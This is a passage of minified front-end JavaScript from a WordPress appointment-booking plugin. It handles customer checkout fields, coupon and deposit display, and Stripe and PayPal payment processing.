r=()=>{a.isValidNumber()?(jQuery("input[type='hidden'][name='"+e.attr("name")+"']").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass("mpa-phone-number--invalid"),i.addClass("mpa-hide")):(e.addClass("mpa-phone-number--invalid"),i.removeClass("mpa-hide"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name="",this.email="",this.phone="",this.notes="",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(".mpa-checkout-form"),this.$name=this.$element.find(".mpa-customer-name"),this.$email=this.$element.find(".mpa-customer-email"),this.$phone=this.$element.find(".mpa-customer-phone"),this.$notes=this.$element.find(".mpa-customer-notes"),this.$order=this.$element.find(".mpa-order"),wp.hooks.doAction("mpa_step_checkout_form",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.$messageHolder=this.$element.find(".mpa-message").first(),this.$preloader=this.$element.find(".mpa-loading"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(".mpa-customer-create-account"),this.$createAccountDescription=this.$element.find(".mpa-customer-create-account-description"),this.setProperty("createAccount",this.$createAccount.prop("checked"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty("name",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty("email",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&"undefined"!==t.currentCustomer.phone&&(this.setProperty("phone",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger("input")),this.service=null,this.couponSection=null}theId(){return"checkout"}propertiesSchema(){return{name:{type:"string",default:""},email:{type:"string",default:""},phone:{type:"string",default:""},notes:{type:"string",default:""},acceptTerms:{type:"bool",default:!1},$createAccount:{type:"bool",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on("submit",(e=>!1)),this.$name.on("input",(e=>this.setProperty("name",e.target.value))),this.$email.on("input",(e=>this.setProperty("email",e.target.value))),this.$phone.on("input",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on("countrychange",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on("input",(e=>this.setProperty("notes",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on("input",(e=>{this.setProperty("createAccount",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass("mpa-hide"):this.$createAccountDescription.addClass("mpa-hide")})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction("mpa_step_checkout_reset",this.$checkoutForm),this.$notes.val(""),this.resetProperty("notes"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop("checked",!1),this.resetProperty("createAccount")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters("mpa_step_checkout_form_valid",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is("[required]"))||""!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is("[required]"))||""!==this.email&&!!this.email.match(/.+@.+/)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is("[required]"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop("disabled",!1)}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}async maybeSubmit(){if(wp.hooks.hasFilter("mpa_step_checkout_maybe_submit")&&await wp.hooks.applyFilters("mpa_step_checkout_maybe_submit",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&""!==this.email){this.showPreloader();return c("/customers/create",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId="basic",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass("mpa-hide"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass("mpa-hide"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c("/payments/prepare",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid="",this.paymentMethods=new M,this.selectedMethod="",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass("mpa-hide")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),this.$gatewayPreloader.removeClass("mpa-hide"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(".mpa-stripe-payment-method."+i),t.$fields=e.find(".mpa-stripe-payment-fields."+i);const a=this.methods[i].getControl();if(null!==a){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,a.mount(e),a.on("ready",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove("mpa-preloader-skeleton-pulsate")}))}"card"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector("payment-request-button"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on("ready",(e=>{this.mountedMethod("payment_request_button"),s.classList.remove("mpa-preloader-skeleton-pulsate")}))):(s.classList.add("mpa-hide"),document.querySelector(".mpa-stripe-payment-request-button-separator").classList.add("mpa-hide")))}))})),e.find('input[name="stripe_payment_method"]').on("change",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(".mpa-errors")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case"payment":case"card":case"ideal":case"sepa_debit":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass("active",t),s.$fields.toggleClass("mpa-hide",!t)}}getElementSelector(e){return"sepa_debit"===e&&(e="iban"),"#mpa-stripe-"+e+"-element-"+this.uid}render(){let e="";e+='<section class="mpa-stripe-payment-container">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='<div class="mpa-errors"></div>',e+="</section>",e}renderNavigation(){let e="";e+='<nav class="mpa-stripe-payment-methods">',e+="<ul>";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='<li class="mpa-stripe-payment-method '+t+(s?" active":"")+'">',e+="<label>",e+='<input type="radio" name="stripe_payment_method" value="'+t+'"'+(s?' checked="checked"':"")+">",e+=" "+this.methods[t].title,e+="</label>",e+="</li>"}return e+="</ul>",e+="</nav>",e}renderFields(e){let t="";switch(t+='<div class="mpa-stripe-payment-fields '+e+(e===this.selectedMethod?"":" mpa-hide")+'">',t+="<fieldset>",e){case"payment":t+=this.renderPaymentFields();break;case"card":t+=this.renderCardFields();break;case"ideal":t+=this.renderIdealFields();break;case"sepa_debit":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+="</fieldset>","sepa_debit"===e&&(t+='<p class="notice">',t+=u("By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.","motopress-appointment").replace("%s",m().settings().getBusinessName()),t+="</p>"),t+="</div>",t}renderPaymentFields(){let e="";return e+='<div id="mpa-stripe-payment-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-element"></div>',e}renderCardFields(){let e="";return e+='<label for="mpa-stripe-card-element-'+this.uid+'">',e+=u("Credit or debit card","motopress-appointment"),e+="</label>",this.methods.card.isEnabledWallets()&&(e+='<div id="mpa-stripe-payment-request-button-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement"></div>',e+='<div class="mpa-stripe-payment-request-button-separator">'+u("or","motopress-appointment")+"</div>"),e+='<div id="mpa-stripe-card-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate"></div>',e}renderIdealFields(){let e="";return e+='<label for="mpa-stripe-ideal-element-'+this.uid+'">',e+=u("Select iDEAL Bank","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-ideal-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate"></div>',e}renderSepaDebitFields(){let e="";return e+='<label for="mpa-stripe-iban-element-'+this.uid+'">',e+=u("IBAN","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-iban-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate"></div>',e}renderRedirectNotice(){let e="";return e+='<p class="notice">',e+=u("You will be redirected to a secure page to complete the payment.","motopress-appointment"),e+="</p>",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass("mpa-hide")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass("mpa-hide").html("")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h("/payments/settings",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Fe)throw new Error("Cannot construct Abstract instances directly");if(void 0===this.setupProperties)throw new Error("Must override method: setupProperties()");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('"name" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('"title" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3," "),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error("Abstract Method has no implementation")}processPayment(e,t,s){const i=e.getCustomer(),a=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return"requires_action"==e.status&&"redirect_to_url"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error("Unable to process payment.",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name="payment",this.title=u("Payment methods","motopress-appointment"),this.customerDetails={name:"",email:"",phone:""}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:"",email:"",phone:""}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||"";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=s?.name)&&void 0!==a?a:null,email:null!==(r=s?.email)&&void 0!==r?r:null,phone:null!==(n=s?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:"if_required"})})).catch((e=>{throw console.error("Error during payment confirmation:",e),e}))}processPayment(e,t,s){return c("/payments/prepare",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if("requires_action"===e.status){if("redirect_to_url"!==e.next_action.type)throw new Error("The user has cancelled or failed to complete the payment.");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error("Unable to process payment.",e.message),e;throw new Error("Unable to process payment.")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create("payment",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?"never":"auto",email:e?.email?"never":"auto",phone:e?.phone?"never":"auto",address:{line1:"auto",line2:"auto",city:"auto",state:"auto",country:"auto",postalCode:"auto"}}}})}}class Le extends Fe{setupProperties(){this.name="card",this.title=u("Card","motopress-appointment"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:m().settings().getCurrency().toLowerCase(),total:{label:u("Total","motopress-appointment"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return["apple_pay","google_pay","link"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const s=t.toLowerCase().replace(/([-_][a-z])/g,(e=>e.toUpperCase().replace("-","").replace("_","")));e.push(s)}})),e}createPaymentRequestButton(){return this.elements.create("paymentRequestButton",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:"50px"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}proccessPaymentRequestButtonHandler(e,t){const s=e.getCustomer();return this.api.createPaymentMethod({type:"card",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:s.name,email:s.email,phone:s.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete("fail"),new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete("success"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,console.error("Unable to process payment.",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,s){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,s):super.processPayment(e,t,s)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Re extends Fe{setupProperties(){this.name="sepa_debit",this.title=u("SEPA Direct Debit","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create("iban",{style:this.settings.style,supportedCountries:["SEPA"]})}}class Oe extends Fe{setupProperties(){this.name="bancontact",this.title=u("Bancontact","motopress-appointment")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Ne extends Fe{setupProperties(){this.name="ideal",this.title=u("iDEAL","motopress-appointment")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create("idealBank",{style:this.settings.style})}}class Ve extends Fe{setupProperties(){this.name="giropay",this.title=u("Giropay","motopress-appointment")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class qe extends Fe{setupProperties(){this.name="sofort",this.title=u("SOFORT","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,s){let i=super.createPaymentMethodData(e,t,s);return i.sofort={country:this.settings.country},i}}class Ue extends xe{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId="stripe",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader")}isValidAcceptTerms(){if(!m().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=m().settings().getCurrency()),t.toUpperCase()){case"BIF":case"CLP":case"DJF":case"GNF":case"JPY":case"KMF":case"KRW":case"MGA":case"PYG":case"RWF":case"UGX":case"VND":case"VUV":case"XAF":case"XOF":case"XPF":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,m().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:u("Total","motopress-appointment"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0<this.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0<this.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new Me(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error("The payment gateway is not valid."));this.$gatewayPreloader.removeClass("mpa-hide");let s=this.view.selectedMethod,i=jQuery.extend({payment_method:s},this.settings,t),a={error_handler:this.view.showError.bind(this.view)};return this.methods[s].processPayment(e,i,a).then((e=>(this.$gatewayPreloader.addClass("mpa-hide"),e)),(e=>{throw this.$gatewayPreloader.addClass("mpa-hide"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:"auto",payment_methods:[],public_key:"",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:"2023-10-16"}),s=t.elements({mode:"payment",locale:this.settings.locale,currency:m().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((i=>{switch(i){case"payment":e.payment=new Be(t,s,this.settings),e.payment.provideCart(this.cart);break;case"card":e.card=new Le(t,s,this.settings),e.card.getControl().on("change",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on("token",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on("cancel",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on("click",this.onClickPaymentRequestButton.bind(this)))}));break;case"sepa_debit":e.sepa_debit=new Re(t,s,this.settings),e.sepa_debit.getControl().on("change",this.onChange.bind(this));break;case"bancontact":e.bancontact=new Oe(t,s,this.settings);break;case"ideal":e.ideal=new Ne(t,s,this.settings);break;case"giropay":e.giropay=new Ve(t,s,this.settings);break;case"sofort":e.sofort=new qe(t,s,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class He extends xe{setupProperties(){super.setupProperties(),this.gatewayId="paypal"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest("form").find(".mpa-button-next").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest("form").find(".mpa-button-next").show()}mount(e){let t=this;t.$errorWrapper=e.find(".mpa-paypal-error"),t.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),paypal.Buttons({onInit(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||s.disable(),e.addEventListener("change",(e=>{e.target.checked?s.enable():s.disable()}))}},onClick:function(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click"))},createOrder:function(e,s){return t.$errorWrapper.addClass("mpa-hide"),t.$gatewayPreloader.removeClass("mpa-hide"),c("/payments/prepare",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass("mpa-hide"),e)))},onApprove:function(e,s){return s.order.capture().then((function(e){t.paypalDetails=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass("mpa-hide")}}).render(e.find(".mpa-paypal-container")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class je{static createGateways(e,t){let s={};for(let i of m().settings().getActiveGateways()){let a=e.find(".mpa-"+i+"-payment-gateway .mpa-billing-fields"),r=0!==a.length?je.createGateway(i,a,t):null;null!==r&&(s[i]=r)}return s.free=new Ae({},t),s}static createGateway(e,t,s){switch(e){case"manual":case"test":case"cash":case"bank":return new Ee(t,s);case"paypal":return new He(t,s);case"stripe":return new Ue(t,s);default:return wp.hooks.applyFilters("mpa_create_gateway",null,e,t,s)}}}class We extends pe{setupProperties(){super.setupProperties(),this.lastCartHash="",this.gatewayId="",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(".mpa-checkout-form"),this.$order=this.$element.find(".mpa-order"),this.$billingSection=this.$element.find(".mpa-billing-details"),this.$paymentGateways=this.$billingSection.find(".mpa-payment-gateway"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name="payment_gateway_id"]'),this.$message=this.$element.find(".mpa-message").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(".mpa-deposit-section"),this.$depositSwitcher=this.$element.find('input[name="mpa-deposit-switcher"]'),this.$depositTable=this.$element.find("#mpa-deposit-table"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.couponSection=null}theId(){return"payment"}propertiesSchema(){return{gatewayId:{type:"string",default:""},isDepositDisabled:{type:"bool",default:!1},acceptTerms:{type:"bool",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass("mpa-hide",!e.trim().length)}clearErrorMessage(){this.setErrorMessage("")}hideDeposit(){this.$deposit.addClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!1),this.setProperty("isDepositDisabled",this.$depositSwitcher.prop("checked"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty("gatewayId",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on("submit",(e=>!1)),this.$paymentGatewayButtons.on("change",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on("input",(e=>{this.$depositTable.toggleClass("mpa-hide",e.target.checked),this.setProperty("isDepositDisabled",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():""})}))}loadEntities(){this.isLoaded||this.$element.removeClass("mpa-hide"),this.lastCartHash=this.cart.getHash("order"),m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.updateOrderDetails();let e=[];return"free"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,"order")?(this.lastCartHash=this.cart.getHash("order"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters("mpa_booking_reload_drafts",!1)?this.loadDrafts():Promise.resolve(this)}reset(){m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),this.lastCartHash="";let e=m().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(":checked").prop("checked",!1),e in this.gateways?(this.setProperty("gatewayId",e),this.$paymentGatewayButtons.filter('[value="'+e+'"]').prop("checked",!0)):this.resetProperty("gatewayId");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(be(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let s="";return t>0&&(s+='<table class="widefat">',s+="<tbody>",s+='<tr class="mpa-deposit-title">',s+='<td class="column-title" colspan="2">',s+=u("Deposit","motopress-appointment"),s+="</td>",s+="</tr>",s+='<tr class="mpa-deposit-now">',s+='<th class="column-title">',s+=u("Paying now","motopress-appointment"),s+="</th>",s+='<th class="column-price">',s+=Se(e.deposit),s+="</th>",s+="</tr>",s+='<tr class="mpa-deposit-left">',s+='<th class="column-title">',s+=u("Left to pay","motopress-appointment"),s+="</th>",s+='<th 